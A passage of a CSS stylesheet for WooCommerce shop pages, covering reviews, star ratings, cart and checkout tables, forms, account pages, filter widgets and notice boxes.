.woocommerce button.button:disabled[disabled]:hover,
.woocommerce input.button:disabled:hover,
.woocommerce input.button.disabled:hover,
.woocommerce input.button:disabled[disabled]:hover,
.woocommerce #respond input#submit:disabled:hover,
.woocommerce #respond input#submit.disabled:hover,
.woocommerce #respond input#submit:disabled[disabled]:hover {
  color: inherit;
  background-color: #ebe9eb;
}
.woocommerce .cart .button,
.woocommerce .cart input.button {
  float: none;
}
.woocommerce a.added_to_cart {
  padding-top: 0.5em;
  display: inline-block;
}
.woocommerce #reviews h2 small {
  float: right;
  color: #767676;
  font-size: 15px;
  margin: 10px 0 0;
}
.woocommerce #reviews h2 small a {
  text-decoration: none;
  color: #767676;
}
.woocommerce #reviews h3 {
  margin: 0;
}
.woocommerce #reviews #respond {
  margin: 0;
  border: 0;
  padding: 0;
}
.woocommerce #reviews #comment {
  height: 75px;
}
.woocommerce #reviews #comments .add_review {
  *zoom: 1;
}
.woocommerce #reviews #comments .add_review::before, .woocommerce #reviews #comments .add_review::after {
  content: " ";
  display: table;
}
.woocommerce #reviews #comments .add_review::after {
  clear: both;
}
.woocommerce #reviews #comments h2 {
  clear: none;
}
.woocommerce #reviews #comments ol.commentlist {
  *zoom: 1;
  margin: 0;
  width: 100%;
  background: none;
  list-style: none;
}
.woocommerce #reviews #comments ol.commentlist::before, .woocommerce #reviews #comments ol.commentlist::after {
  content: " ";
  display: table;
}
.woocommerce #reviews #comments ol.commentlist::after {
  clear: both;
}
.woocommerce #reviews #comments ol.commentlist li {
  padding: 0;
  margin: 0 0 20px;
  border: 0;
  position: relative;
  background: 0;
  border: 0;
}
.woocommerce #reviews #comments ol.commentlist li .meta {
  color: #767676;
  font-size: 0.75em;
}
.woocommerce #reviews #comments ol.commentlist li img.avatar {
  float: left;
  position: absolute;
  top: 0;
  left: 0;
  padding: 3px;
  width: 32px;
  height: auto;
  background: #ebe9eb;
  border: 1px solid #e4e1e3;
  margin: 0;
  box-shadow: none;
}
.woocommerce #reviews #comments ol.commentlist li .comment-text {
  margin: 0 0 0 50px;
  border: 1px solid #e4e1e3;
  border-radius: 4px;
  padding: 1em 1em 0;
  *zoom: 1;
}
.woocommerce #reviews #comments ol.commentlist li .comment-text::before, .woocommerce #reviews #comments ol.commentlist li .comment-text::after {
  content: " ";
  display: table;
}
.woocommerce #reviews #comments ol.commentlist li .comment-text::after {
  clear: both;
}
.woocommerce #reviews #comments ol.commentlist li .comment-text p {
  margin: 0 0 1em;
}
.woocommerce #reviews #comments ol.commentlist li .comment-text p.meta {
  font-size: 0.83em;
}
.woocommerce #reviews #comments ol.commentlist ul.children {
  list-style: none outside;
  margin: 20px 0 0 50px;
}
.woocommerce #reviews #comments ol.commentlist ul.children .star-rating {
  display: none;
}
.woocommerce #reviews #comments ol.commentlist #respond {
  border: 1px solid #e4e1e3;
  border-radius: 4px;
  padding: 1em 1em 0;
  margin: 20px 0 0 50px;
}
.woocommerce #reviews #comments .commentlist > li::before {
  content: "";
}
.woocommerce .star-rating {
  float: right;
  overflow: hidden;
  position: relative;
  height: 1em;
  line-height: 1;
  font-size: 1em;
  width: 5.4em;
  font-family: "star";
}
.woocommerce .star-rating::before {
  content: "sssss";
  color: #d3ced2;
  float: left;
  top: 0;
  left: 0;
  position: absolute;
}
.woocommerce .star-rating span {
  overflow: hidden;
  float: left;
  top: 0;
  left: 0;
  position: absolute;
  padding-top: 1.5em;
}
.woocommerce .star-rating span::before {
  content: "SSSSS";
  top: 0;
  position: absolute;
  left: 0;
}
.woocommerce .woocommerce-product-rating {
  *zoom: 1;
  line-height: 2;
  display: block;
}
.woocommerce .woocommerce-product-rating::before, .woocommerce .woocommerce-product-rating::after {
  content: " ";
  display: table;
}
.woocommerce .woocommerce-product-rating::after {
  clear: both;
}
.woocommerce .woocommerce-product-rating .star-rating {
  margin: 0.5em 4px 0 0;
  float: left;
}
.woocommerce .products .star-rating {
  display: block;
  margin: 0 0 0.5em;
  float: none;
}
.woocommerce .hreview-aggregate .star-rating {
  margin: 10px 0 0;
}
.woocommerce #review_form #respond {
  *zoom: 1;
  position: static;
  margin: 0;
  width: auto;
  padding: 0;
  background: transparent none;
  border: 0;
}
.woocommerce #review_form #respond::before, .woocommerce #review_form #respond::after {
  content: " ";
  display: table;
}
.woocommerce #review_form #respond::after {
  clear: both;
}
.woocommerce #review_form #respond p {
  margin: 0 0 10px;
}
.woocommerce #review_form #respond .form-submit input {
  left: auto;
}
.woocommerce #review_form #respond textarea {
  box-sizing: border-box;
  width: 100%;
}
.woocommerce p.stars a {
  position: relative;
  height: 1em;
  width: 1em;
  text-indent: -999em;
  display: inline-block;
  text-decoration: none;
}
.woocommerce p.stars a::before {
  display: block;
  position: absolute;
  top: 0;
  left: 0;
  width: 1em;
  height: 1em;
  line-height: 1;
  font-family: "WooCommerce";
  content: "";
  text-indent: 0;
}
.woocommerce p.stars a:hover ~ a::before {
  content: "";
}
.woocommerce p.stars:hover a::before {
  content: "";
}
.woocommerce p.stars.selected a.active::before {
  content: "";
}
.woocommerce p.stars.selected a.active ~ a::before {
  content: "";
}
.woocommerce p.stars.selected a:not(.active)::before {
  content: "";
}
.woocommerce table.shop_attributes {
  border: 0;
  border-top: 1px solid var(--pcborder-cl);
  margin-bottom: 1.618em;
  width: 100%;
}
.woocommerce table.shop_attributes th {
  width: 150px;
  font-weight: 700;
  padding: 8px 0;
  border-top: 0;
  border-bottom: 1px solid var(--pcborder-cl);
  margin: 0;
  line-height: 1.5;
}
.woocommerce table.shop_attributes td {
  font-style: normal;
  padding: 0;
  border-top: 0;
  border-bottom: 1px solid var(--pcborder-cl);
  margin: 0;
  line-height: 1.5;
}
.woocommerce table.shop_attributes td p {
  margin: 0;
  padding: 8px 0;
}
.woocommerce table.shop_attributes tr:nth-child(even) td,
.woocommerce table.shop_attributes tr:nth-child(even) th {
  background: rgba(0, 0, 0, 0.025);
}
.woocommerce table.shop_table {
  border: 1px solid var(--pcborder-cl);
  margin: 0 -1px 24px 0;
  text-align: left;
  width: 100%;
  border-collapse: separate;
  border-radius: 5px;
}
.woocommerce table.shop_table th {
  font-weight: 700;
  padding: 9px 12px;
  line-height: 1.5em;
}
.woocommerce table.shop_table td {
  border-top: 1px solid var(--pcborder-cl);
  padding: 9px 12px;
  vertical-align: middle;
  line-height: 1.5em;
}
.woocommerce table.shop_table td small {
  font-weight: normal;
}
.woocommerce table.shop_table td del {
  font-weight: normal;
}
.woocommerce table.shop_table tbody:first-child tr:first-child th,
.woocommerce table.shop_table tbody:first-child tr:first-child td {
  border-top: 0;
}
.woocommerce table.shop_table tfoot td,
.woocommerce table.shop_table tfoot th,
.woocommerce table.shop_table tbody th {
  font-weight: 700;
  border-top: 1px solid var(--pcborder-cl);
}
.woocommerce table.my_account_orders {
  font-size: 0.85em;
}
.woocommerce table.my_account_orders th,
.woocommerce table.my_account_orders td {
  padding: 4px 8px;
  vertical-align: middle;
}
.woocommerce table.my_account_orders .button {
  white-space: nowrap;
}
.woocommerce table.woocommerce-MyAccount-downloads td,
.woocommerce table.woocommerce-MyAccount-downloads th {
  vertical-align: top;
  text-align: center;
}
.woocommerce table.woocommerce-MyAccount-downloads td:first-child,
.woocommerce table.woocommerce-MyAccount-downloads th:first-child {
  text-align: left;
}
.woocommerce table.woocommerce-MyAccount-downloads td:last-child,
.woocommerce table.woocommerce-MyAccount-downloads th:last-child {
  text-align: left;
}
.woocommerce table.woocommerce-MyAccount-downloads td .woocommerce-MyAccount-downloads-file::before,
.woocommerce table.woocommerce-MyAccount-downloads th .woocommerce-MyAccount-downloads-file::before {
  content: "↓";
  display: inline-block;
}
.woocommerce td.product-name dl.variation,
.woocommerce td.product-name .wc-item-meta {
  list-style: none outside;
}
.woocommerce td.product-name dl.variation dt,
.woocommerce td.product-name dl.variation .wc-item-meta-label,
.woocommerce td.product-name .wc-item-meta dt,
.woocommerce td.product-name .wc-item-meta .wc-item-meta-label {
  float: left;
  clear: both;
  margin-right: 0.25em;
  display: inline-block;
  list-style: none outside;
}
.woocommerce td.product-name dl.variation dd,
.woocommerce td.product-name .wc-item-meta dd {
  margin: 0;
}
.woocommerce td.product-name dl.variation p, .woocommerce td.product-name dl.variation:last-child,
.woocommerce td.product-name .wc-item-meta p,
.woocommerce td.product-name .wc-item-meta:last-child {
  margin-bottom: 0;
  line-height: inherit;
}
.woocommerce td.product-name p.backorder_notification {
  font-size: 0.83em;
}
.woocommerce td.product-quantity {
  min-width: 80px;
}
.woocommerce ul.cart_list,
.woocommerce ul.product_list_widget {
  list-style: none outside;
  padding: 0;
  margin: 0;
}
.woocommerce ul.cart_list li,
.woocommerce ul.product_list_widget li {
  padding: 4px 0;
  margin: 0;
  *zoom: 1;
  list-style: none;
}
.woocommerce ul.cart_list li::before, .woocommerce ul.cart_list li::after,
.woocommerce ul.product_list_widget li::before,
.woocommerce ul.product_list_widget li::after {
  content: " ";
  display: table;
}
.woocommerce ul.cart_list li::after,
.woocommerce ul.product_list_widget li::after {
  clear: both;
}
.woocommerce ul.cart_list li a,
.woocommerce ul.product_list_widget li a {
  display: block;
  font-weight: 700;
}
.woocommerce ul.cart_list li img,
.woocommerce ul.product_list_widget li img {
  float: right;
  margin-left: 4px;
  width: 32px;
  height: auto;
  box-shadow: none;
}
.woocommerce ul.cart_list li dl,
.woocommerce ul.product_list_widget li dl {
  margin: 0;
  padding-left: 1em;
  border-left: 2px solid var(--pcborder-cl);
  *zoom: 1;
}
.woocommerce ul.cart_list li dl::before, .woocommerce ul.cart_list li dl::after,
.woocommerce ul.product_list_widget li dl::before,
.woocommerce ul.product_list_widget li dl::after {
  content: " ";
  display: table;
}
.woocommerce ul.cart_list li dl::after,
.woocommerce ul.product_list_widget li dl::after {
  clear: both;
}
.woocommerce ul.cart_list li dl dt,
.woocommerce ul.cart_list li dl dd,
.woocommerce ul.product_list_widget li dl dt,
.woocommerce ul.product_list_widget li dl dd {
  display: inline-block;
  float: left;
  margin-bottom: 1em;
}
.woocommerce ul.cart_list li dl dt,
.woocommerce ul.product_list_widget li dl dt {
  font-weight: 700;
  padding: 0 0 0.25em;
  margin: 0 4px 0 0;
  clear: left;
}
.woocommerce ul.cart_list li dl dd,
.woocommerce ul.product_list_widget li dl dd {
  padding: 0 0 0.25em;
}
.woocommerce ul.cart_list li dl dd p:last-child,
.woocommerce ul.product_list_widget li dl dd p:last-child {
  margin-bottom: 0;
}
.woocommerce ul.cart_list li .star-rating,
.woocommerce ul.product_list_widget li .star-rating {
  float: none;
}
.woocommerce.widget_shopping_cart .total,
.woocommerce .widget_shopping_cart .total {
  border-top: 3px double #ebe9eb;
  padding: 4px 0 0;
}
.woocommerce.widget_shopping_cart .total strong,
.woocommerce .widget_shopping_cart .total strong {
  min-width: 40px;
  display: inline-block;
}
.woocommerce.widget_shopping_cart .cart_list li,
.woocommerce .widget_shopping_cart .cart_list li {
  padding-left: 2em;
  position: relative;
  padding-top: 0;
}
.woocommerce.widget_shopping_cart .cart_list li a.remove,
.woocommerce .widget_shopping_cart .cart_list li a.remove {
  position: absolute;
  top: 0;
  left: 0;
}
.woocommerce.widget_shopping_cart .buttons,
.woocommerce .widget_shopping_cart .buttons {
  *zoom: 1;
}
.woocommerce.widget_shopping_cart .buttons::before, .woocommerce.widget_shopping_cart .buttons::after,
.woocommerce .widget_shopping_cart .buttons::before,
.woocommerce .widget_shopping_cart .buttons::after {
  content: " ";
  display: table;
}
.woocommerce.widget_shopping_cart .buttons::after,
.woocommerce .widget_shopping_cart .buttons::after {
  clear: both;
}
.woocommerce.widget_shopping_cart .buttons a,
.woocommerce .widget_shopping_cart .buttons a {
  margin-right: 5px;
  margin-bottom: 5px;
}
.woocommerce form .form-row {
  padding: 3px;
  margin: 0 0 6px;
}
.woocommerce form .form-row [placeholder]:focus::-webkit-input-placeholder {
  transition: opacity 0.5s 0.5s ease;
  opacity: 0;
}
.woocommerce form .form-row label {
  line-height: 2;
}
.woocommerce form .form-row label.hidden {
  visibility: hidden;
}
.woocommerce form .form-row label.inline {
  display: inline;
}
.woocommerce form .form-row .woocommerce-input-wrapper .description {
  background: #1e85be;
  color: #fff;
  border-radius: 3px;
  padding: 1em;
  margin: 0.5em 0 0;
  clear: both;
  display: none;
  position: relative;
}
.woocommerce form .form-row .woocommerce-input-wrapper .description a {
  color: #fff;
  text-decoration: underline;
  border: 0;
  box-shadow: none;
}
.woocommerce form .form-row .woocommerce-input-wrapper .description::before {
  left: 50%;
  top: 0%;
  margin-top: -4px;
  transform: translateX(-50%) rotate(180deg);
  content: "";
  position: absolute;
  border-width: 4px 6px 0 6px;
  border-style: solid;
  border-color: #1e85be transparent transparent transparent;
  z-index: 100;
  display: block;
}
.woocommerce form .form-row select {
  cursor: pointer;
  margin: 0;
}
.woocommerce form .form-row .required {
  color: red;
  font-weight: 700;
  border: 0 !important;
  text-decoration: none;
}
.woocommerce form .form-row .optional {
  visibility: visible;
}
.woocommerce form .form-row .input-checkbox {
  display: inline;
  margin: -2px 8px 0 0;
  text-align: center;
  vertical-align: middle;
}
.woocommerce form .form-row input.input-text,
.woocommerce form .form-row textarea {
  box-sizing: border-box;
  width: 100%;
  margin: 0;
  outline: 0;
}
.woocommerce form .form-row textarea {
  height: 4em;
  line-height: 1.5;
  display: block;
  box-shadow: none;
}
.woocommerce form .form-row .select2-container {
  width: 100%;
  line-height: 2em;
}
.woocommerce form .form-row.woocommerce-invalid label {
  color: #a00;
}
.woocommerce form .form-row.woocommerce-invalid .select2-container,
.woocommerce form .form-row.woocommerce-invalid input.input-text,
.woocommerce form .form-row.woocommerce-invalid select {
  border-color: #a00;
}
.woocommerce form .form-row.woocommerce-validated .select2-container,
.woocommerce form .form-row.woocommerce-validated input.input-text,
.woocommerce form .form-row.woocommerce-validated select {
  border-color: #6dc22e;
}
.woocommerce form .form-row ::-webkit-input-placeholder {
  line-height: normal;
}
.woocommerce form .form-row :-moz-placeholder {
  line-height: normal;
}
.woocommerce form .form-row :-ms-input-placeholder {
  line-height: normal;
}
.woocommerce form.login,
.woocommerce form.checkout_coupon,
.woocommerce form.register {
  border: 1px solid #d3ced2;
  padding: 20px;
  margin: 2em 0;
  text-align: left;
  border-radius: 5px;
}
.woocommerce ul#shipping_method {
  list-style: none outside;
  margin: 0;
  padding: 0;
}
.woocommerce ul#shipping_method li {
  margin: 0 0 0.5em;
  line-height: 1.5em;
  list-style: none outside;
}
.woocommerce ul#shipping_method li input {
  margin: 3px 0.4375em 0 0;
  vertical-align: top;
}
.woocommerce ul#shipping_method li label {
  display: inline;
}
.woocommerce ul#shipping_method .amount {
  font-weight: 700;
}
.woocommerce p.woocommerce-shipping-contents {
  margin: 0;
}
.woocommerce ul.order_details {
  *zoom: 1;
  margin: 0 0 3em;
  list-style: none;
}
.woocommerce ul.order_details::before, .woocommerce ul.order_details::after {
  content: " ";
  display: table;
}
.woocommerce ul.order_details::after {
  clear: both;
}
.woocommerce ul.order_details li {
  float: left;
  margin-right: 2em;
  text-transform: uppercase;
  font-size: 0.715em;
  line-height: 1;
  border-right: 1px dashed #d3ced2;
  padding-right: 2em;
  margin-left: 0;
  padding-left: 0;
  list-style-type: none;
}
.woocommerce ul.order_details li strong {
  display: block;
  font-size: 1.4em;
  text-transform: none;
  line-height: 1.5;
}
.woocommerce ul.order_details li:last-of-type {
  border: none;
}
.woocommerce .wc-bacs-bank-details-account-name {
  font-weight: bold;
}
.woocommerce .woocommerce-order-downloads,
.woocommerce .woocommerce-customer-details,
.woocommerce .woocommerce-order-details {
  margin-bottom: 2em;
}
.woocommerce .woocommerce-order-downloads *:last-child,
.woocommerce .woocommerce-customer-details *:last-child,
.woocommerce .woocommerce-order-details *:last-child {
  margin-bottom: 0;
}
.woocommerce .woocommerce-customer-details address {
  font-style: normal;
  margin-bottom: 0;
  border: 1px solid var(--pcborder-cl);
  border-bottom-width: 2px;
  border-right-width: 2px;
  text-align: left;
  width: 100%;
  border-radius: 5px;
  padding: 6px 12px;
}
.woocommerce .woocommerce-customer-details .woocommerce-customer-details--phone,
.woocommerce .woocommerce-customer-details .woocommerce-customer-details--email {
  margin-bottom: 0;
  padding-left: 1.5em;
}
.woocommerce .woocommerce-customer-details .woocommerce-customer-details--phone::before {
  font-family: "WooCommerce";
  speak: never;
  font-weight: normal;
  font-variant: normal;
  text-transform: none;
  line-height: 1;
  -webkit-font-smoothing: antialiased;
  margin-right: 0.618em;
  content: "";
  text-decoration: none;
  margin-left: -1.5em;
  line-height: 1.75;
  position: absolute;
}
.woocommerce .woocommerce-customer-details .woocommerce-customer-details--email::before {
  font-family: "WooCommerce";
  speak: never;
  font-weight: normal;
  font-variant: normal;
  text-transform: none;
  line-height: 1;
  -webkit-font-smoothing: antialiased;
  margin-right: 0.618em;
  content: "";
  text-decoration: none;
  margin-left: -1.5em;
  line-height: 1.75;
  position: absolute;
}
.woocommerce .woocommerce-widget-layered-nav-list {
  margin: 0;
  padding: 0;
  border: 0;
  list-style: none outside;
}
.woocommerce .woocommerce-widget-layered-nav-list .woocommerce-widget-layered-nav-list__item {
  *zoom: 1;
  padding: 0 0 1px;
  list-style: none;
}
.woocommerce .woocommerce-widget-layered-nav-list .woocommerce-widget-layered-nav-list__item::before, .woocommerce .woocommerce-widget-layered-nav-list .woocommerce-widget-layered-nav-list__item::after {
  content: " ";
  display: table;
}
.woocommerce .woocommerce-widget-layered-nav-list .woocommerce-widget-layered-nav-list__item::after {
  clear: both;
}
.woocommerce .woocommerce-widget-layered-nav-list .woocommerce-widget-layered-nav-list__item a,
.woocommerce .woocommerce-widget-layered-nav-list .woocommerce-widget-layered-nav-list__item span {
  padding: 1px 0;
}
.woocommerce .woocommerce-widget-layered-nav-list .woocommerce-widget-layered-nav-list__item--chosen a::before {
  font-family: "WooCommerce";
  speak: never;
  font-weight: normal;
  font-variant: normal;
  text-transform: none;
  line-height: 1;
  -webkit-font-smoothing: antialiased;
  margin-right: 0.618em;
  content: "";
  text-decoration: none;
  color: #a00;
}
.woocommerce .woocommerce-widget-layered-nav-dropdown__submit {
  margin-top: 1em;
}
.woocommerce .widget_layered_nav_filters ul {
  /*margin: 0;
  padding: 0;
  border: 0;*/
  list-style: none outside;
  overflow: hidden;
  zoom: 1;
}
.woocommerce .widget_layered_nav_filters ul li {
  float: left;
  padding: 0 1em 1px 1px;
  list-style: none;
  border: 0;
}
.woocommerce .widget_layered_nav_filters ul li a {
  text-decoration: none;
}
.woocommerce .widget_layered_nav_filters ul li a::before {
  font-family: penciicon, Serif;
  content: "";
  color: black;
  font-size: 10px;
  margin-right: 0.5em;
}
.woocommerce .widget_price_filter .price_slider {
  margin-bottom: 1em;
}
.woocommerce .widget_price_filter .price_slider_amount {
  text-align: right;
  line-height: 2.4;
  font-size: 0.8751em;
}
.woocommerce .widget_price_filter .price_slider_amount .button {
  font-size: 1.15em;
  float: left;
}
.woocommerce .widget_price_filter .ui-slider {
  position: relative;
  text-align: left;
  margin-left: 0.5em;
  margin-right: 0.5em;
}
.woocommerce .widget_price_filter .ui-slider .ui-slider-handle {
  position: absolute;
  z-index: 2;
  width: 1em;
  height: 1em;
  background-color: #a46497;
  border-radius: 1em;
  cursor: ew-resize;
  outline: none;
  top: -0.3em;
  /* rtl:ignore */
  margin-left: -0.5em;
}
.woocommerce .widget_price_filter .ui-slider .ui-slider-range {
  position: absolute;
  z-index: 1;
  font-size: 0.7em;
  display: block;
  border: 0;
  border-radius: 1em;
  background-color: #a46497;
}
.woocommerce .widget_price_filter .price_slider_wrapper .ui-widget-content {
  border-radius: 1em;
  background-color: #462940;
  border: 0;
}
.woocommerce .widget_price_filter .ui-slider-horizontal {
  height: 0.5em;
}
.woocommerce .widget_price_filter .ui-slider-horizontal .ui-slider-range {
  top: 0;
  height: 100%;
}
.woocommerce .widget_price_filter .ui-slider-horizontal .ui-slider-range-min {
  left: -1px;
}
.woocommerce .widget_price_filter .ui-slider-horizontal .ui-slider-range-max {
  right: -1px;
}
.woocommerce .widget_rating_filter ul {
  margin: 0;
  padding: 0;
  border: 0;
  list-style: none outside;
}
.woocommerce .widget_rating_filter ul li {
  *zoom: 1;
  padding: 0 0 1px;
  list-style: none;
}
.woocommerce .widget_rating_filter ul li::before, .woocommerce .widget_rating_filter ul li::after {
  content: " ";
  display: table;
}
.woocommerce .widget_rating_filter ul li::after {
  clear: both;
}
.woocommerce .widget_rating_filter ul li a {
  padding: 1px 0;
  text-decoration: none;
}
.woocommerce .widget_rating_filter ul li .star-rating {
  float: none;
  display: inline-block;
}
.woocommerce .widget_rating_filter ul li.chosen a::before {
  font-family: "WooCommerce";
  speak: never;
  font-weight: normal;
  font-variant: normal;
  text-transform: none;
  line-height: 1;
  -webkit-font-smoothing: antialiased;
  margin-right: 0.618em;
  content: "";
  text-decoration: none;
  color: #a00;
}
.woocommerce .woocommerce-form-login .woocommerce-form-login__submit {
  float: left;
  margin-right: 1em;
}
.woocommerce .woocommerce-form-login .woocommerce-form-login__rememberme {
  display: inline-block;
}

.woocommerce-no-js form.woocommerce-form-login,
.woocommerce-no-js form.woocommerce-form-coupon {
  display: block !important;
}
.woocommerce-no-js .woocommerce-form-login-toggle,
.woocommerce-no-js .woocommerce-form-coupon-toggle,
.woocommerce-no-js .showcoupon {
  display: none !important;
}

.woocommerce-message,
.woocommerce-error,
.woocommerce-info {
  padding: 1em 2em 1em 3.5em;
  margin: 0 0 2em;
  position: relative;
  background-color: #f7f6f7;
  color: #515151;
  border-top: 3px solid #a46497;
  list-style: none outside;
  *zoom: 1;
  width: auto;
  word-wrap: break-word;
}
.woocommerce-message::before, .woocommerce-message::after,
.woocommerce-error::before,
.woocommerce-error::after,
.woocommerce-info::before,
.woocommerce-info::after {
  content: " ";
  display: table;
}
.woocommerce-message::after,
.woocommerce-error::after,
.woocommerce-info::after {
  clear: both;
}
.woocommerce-message::before,
.woocommerce-error::before,
.woocommerce-info::before {
  font-family: "WooCommerce";
  content: "";
  display: inline-block;
  position: absolute;
  top: 1em;
  left: 1.5em;
}
.woocommerce-message .button,
.woocommerce-error .button,
.woocommerce-info .button {
  float: right;
}
.woocommerce-message li,
.woocommerce-error li,
.woocommerce-info li {
  list-style: none outside !important;
  padding-left: 0 !important;
  margin-left: 0 !important;
}

/**
 * Right to left styles
 */
.rtl.woocommerce .price_label,
.rtl.woocommerce .price_label span {
  /* rtl:ignore */
  direction: ltr;
  unicode-bidi: embed;
}

.woocommerce-message {
  border-top-color: #8fae1b;
}
.woocommerce-message::before {
  content: "";
  color: #8fae1b;
}

.woocommerce-info {
  border-top-color: #1e85be;
}
.woocommerce-info::before {
  color: #1e85be;
}

.woocommerce-error {
  border-top-color: #b81c23;
}
.woocommerce-error::before {
  content: "";
  color: #b81c23;
}

/**
 * Account page
 */
.woocommerce-account .woocommerce {
  *zoom: 1;
}
.woocommerce-account .woocommerce::before, .woocommerce-account .woocommerce::after {
  content: " ";
  display: table;
}
.woocommerce-account .woocommerce::after {
  clear: both;
}
.woocommerce-account .addresses .title {
  *zoom: 1;
}
.woocommerce-account .addresses .title::before, .woocommerce-account .addresses .title::after {
  content: " ";
  display: table;
}
.woocommerce-account .addresses .title::after {
  clear: both;
}
.woocommerce-account .addresses .title h3 {
  float: left;
}
.woocommerce-account .addresses .title .edit {
  float: right;
}
.woocommerce-account ol.commentlist.notes li.note p.meta {
  font-weight: 700;
  margin-bottom: 0;
}
.woocommerce-account ol.commentlist.notes li.note .description p:last-child {
  margin-bottom: 0;
}
.woocommerce-account ul.digital-downloads {
  margin-left: 0;
  padding-left: 0;
}
.woocommerce-account ul.digital-downloads li {
  list-style: none;
  margin-left: 0;
  padding-left: 0;
}
.woocommerce-account ul.digital-downloads li::before {
  font-family: "WooCommerce";
  speak: never;
  font-weight: normal;
  font-variant: normal;
  text-transform: none;
  line-height: 1;
  -webkit-font-smoothing: antialiased;
  margin-right: 0.618em;
  content: "";
  text-decoration: none;
}
.woocommerce-account ul.digital-downloads li .count {
  float: right;
}

/**
 * Cart/checkout page
 */
.woocommerce-cart table.cart .product-thumbnail,
.woocommerce-checkout table.cart .product-thumbnail,
#add_payment_method table.cart .product-thumbnail {
  min-width: 32px;
}
.woocommerce-cart table.cart img,
.woocommerce-checkout table.cart img,
#add_payment_method table.cart img {
  width: 32px;
  box-shadow: none;
}
.woocommerce-cart table.cart th,
.woocommerce-cart table.cart td,
.woocommerce-checkout table.cart th,
.woocommerce-checkout table.cart td,
#add_payment_method table.cart th,
#add_payment_method table.cart td {
  vertical-align: middle;
}
.woocommerce-cart table.cart td.actions .coupon .input-text,
.woocommerce-checkout table.cart td.actions .coupon .input-text,
#add_payment_method table.cart td.actions .coupon .input-text {
  float: left;
  box-sizing: border-box;
  border: 1px solid #d3ced2;
  padding: 6px 6px 5px;
  margin: 0 4px 0 0;
  outline: 0;
}
.woocommerce-cart table.cart input,
.woocommerce-checkout table.cart input,
#add_payment_method table.cart input {
  margin: 0;
  vertical-align: middle;
}
.woocommerce-cart .wc-proceed-to-checkout,
.woocommerce-checkout .wc-proceed-to-checkout,
#add_payment_method .wc-proceed-to-checkout {
  *zoom: 1;
  padding: 1em 0;
}
.woocommerce-cart .wc-proceed-to-checkout::before, .woocommerce-cart .wc-proceed-to-checkout::after,
.woocommerce-checkout .wc-proceed-to-checkout::before,
.woocommerce-checkout .wc-proceed-to-checkout::after,
#add_payment_method .wc-proceed-to-checkout::before,
#add_payment_method .wc-proceed-to-checkout::after {
  content: " ";
  display: table;
}
.woocommerce-cart .wc-proceed-to-checkout::after,
.woocommerce-checkout .wc-proceed-to-checkout::after,
#add_payment_method .wc-proceed-to-checkout::after {
  clear: both;
}
.woocommerce-cart .wc-proceed-to-checkout a.checkout-button,
.woocommerce-checkout .wc-proceed-to-checkout a.checkout-button,
#add_payment_method .wc-proceed-to-checkout a.checkout-button {
  display: block;
  text-align: center;
  margin-bottom: 1em;
  font-size: 1.25em;
  padding: 1em;
}
.woocommerce-cart .cart-collaterals .shipping-calculator-button,
.woocommerce-checkout .cart-collaterals .shipping-calculator-button,
#add_payment_method .cart-collaterals .shipping-calculator-button {
  float: none;
  margin-top: 0.5em;
  display: inline-block;
}
.woocommerce-cart .cart-collaterals .shipping-calculator-button::after,
.woocommerce-checkout .cart-collaterals .shipping-calculator-button::after,
#add_payment_method .cart-collaterals .shipping-calculator-button::after {
  font-family: "WooCommerce";
  speak: never;
  font-weight: normal;
  font-variant: normal;
  text-transform: none;
  line-height: 1;
  -webkit-font-smoothing: antialiased;
  margin-left: 0.618em;
  content: "";
  text-decoration: none;
}
.woocommerce-cart .cart-collaterals .shipping-calculator-form,
.woocommerce-checkout .cart-collaterals .shipping-calculator-form,
#add_payment_method .cart-collaterals .shipping-calculator-form {
  margin: 1em 0 0 0;
}
.woocommerce-cart .cart-collaterals .cart_totals p small,
.woocommerce-checkout .cart-collaterals .cart_totals p small,
#add_payment_method .cart-collaterals .cart_totals p small {
  color: #767676;
  font-size: 0.83em;
}
.woocommerce-cart .cart-collaterals .cart_totals table,
.woocommerce-checkout .cart-collaterals .cart_totals table,
#add_payment_method .cart-collaterals .cart_totals table {
  border-collapse: separate;
  margin: 0 0 6px;
  padding: 0;
}
.woocommerce-cart .cart-collaterals .cart_totals table tr:first-child th,
.woocommerce-cart .cart-collaterals .cart_totals table tr:first-child td,
.woocommerce-checkout .cart-collaterals .cart_totals table tr:first-child th,
.woocommerce-checkout .cart-collaterals .cart_totals table tr:first-child td,
#add_payment_method .cart-collaterals .cart_totals table tr:first-child th,
#add_payment_method .cart-collaterals .cart_totals table tr:first-child td {
  border-top: 0;
}
.woocommerce-cart .cart-collaterals .cart_totals table th,
.woocommerce-checkout .cart-collaterals .cart_totals table th,
#add_payment_method .cart-collaterals .cart_totals table th {
  width: 35%;
}
.woocommerce-cart .cart-collaterals .cart_totals table td,
.woocommerce-cart .cart-collaterals .cart_totals table th,
.woocommerce-checkout .cart-collaterals .cart_totals table td,
.woocommerce-checkout .cart-collaterals .cart_totals table th,
#add_payment_method .cart-collaterals .cart_totals table td,
#add_payment_method .cart-collaterals .cart_totals table th {
  vertical-align: top;
  border-left: 0;
  border-right: 0;
  line-height: 1.5em;
}
.woocommerce-cart .cart-collaterals .cart_totals table small,
.woocommerce-checkout .cart-collaterals .cart_totals table small,
#add_payment_method .cart-collaterals .cart_totals table small {
  color: #767676;
}
.woocommerce-cart .cart-collaterals .cart_totals table select,
.woocommerce-checkout .cart-collaterals .cart_totals table select,
#add_payment_method .cart-collaterals .cart_totals table select {
  width: 100%;
}
.woocommerce-cart .cart-collaterals .cart_totals .discount td,
.woocommerce-checkout .cart-collaterals .cart_totals .discount td,
#add_payment_method .cart-collaterals .cart_totals .discount td {
  color: #77a464;
}
.woocommerce-cart .cart-collaterals .cart_totals tr td,
.woocommerce-cart .cart-collaterals .cart_totals tr th,
.woocommerce-checkout .cart-collaterals .cart_totals tr td,
.woocommerce-checkout .cart-collaterals .cart_totals tr th,
#add_payment_method .cart-collaterals .cart_totals tr td,
#add_payment_method .cart-collaterals .cart_totals tr th {
  border-top: 1px solid #ebe9eb;
}
.woocommerce-cart .cart-collaterals .cart_totals .woocommerce-shipping-destination,
.woocommerce-checkout .cart-collaterals .cart_totals .woocommerce-shipping-destination,
#add_payment_method .cart-collaterals .cart_totals .woocommerce-shipping-destination {
  margin-bottom: 0;
}
.woocommerce-cart .cart-collaterals .cross-sells ul.products li.product,
.woocommerce-checkout .cart-collaterals .cross-sells ul.products li.product,
#add_payment_method .cart-collaterals .cross-sells ul.products li.product {
  margin-top: 0;
}
.woocommerce-cart .checkout .col-2 h3#ship-to-different-address,
.woocommerce-checkout .checkout .col-2 h3#ship-to-different-address,
#add_payment_method .checkout .col-2 h3#ship-to-different-address {
  float: left;
  clear: none;
}
